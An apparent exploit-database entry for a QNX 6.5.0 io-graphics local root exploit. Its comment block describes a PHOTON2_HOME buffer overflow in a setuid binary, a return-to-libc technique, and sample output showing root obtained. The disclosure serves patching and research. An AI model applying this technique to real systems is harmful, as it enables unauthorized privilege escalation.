Description: QNX 6.5.0 x86 io-graphics - Local Privilege Escalation
Type: local
Platform: qnx
Date: 2014-03-10
Author: cenobyte

Exploit:
/*
 *        QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013
 *                        <vincitamorpatriae@gmail.com>
 *
 * - vulnerability description:
 * Setuid root /usr/photon/bin/io-graphics on QNX is prone to a buffer overflow.
 * The vulnerability is due to insufficent bounds checking of the PHOTON2_HOME
 * environment variable.
 *
 * - vulnerable platforms:
 * QNX 6.5.0SP1
 * QNX 6.5.0
 * QNX 6.4.1
 *
 * - not vulnerable:
 * QNX 6.3.0
 *
 * - exploit information:
 * This is a return-to-libc exploit that yields euid=0. The addresses of
 * system() and exit() are retrieved from libc using dlsym().
 *
 * The address of /bin/sh is retrieved by searching from address 0xb0300000.
 *
 * - example:
 * $ uname -a
 * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
 * $ id
 * uid=100(user) gid=100
 * $ ./qnx-io-graphics
 * QNX io-graphics 6.5.0 x86 local root exploit by cenobyte 2013
 * [-] system(): 0xb031bd80
 * [-] exit(): 0xb032b5f0
 * [-] /bin/sh: 0xb0374412
 * # id
 * uid=100(user) gid=100 euid=0(root)
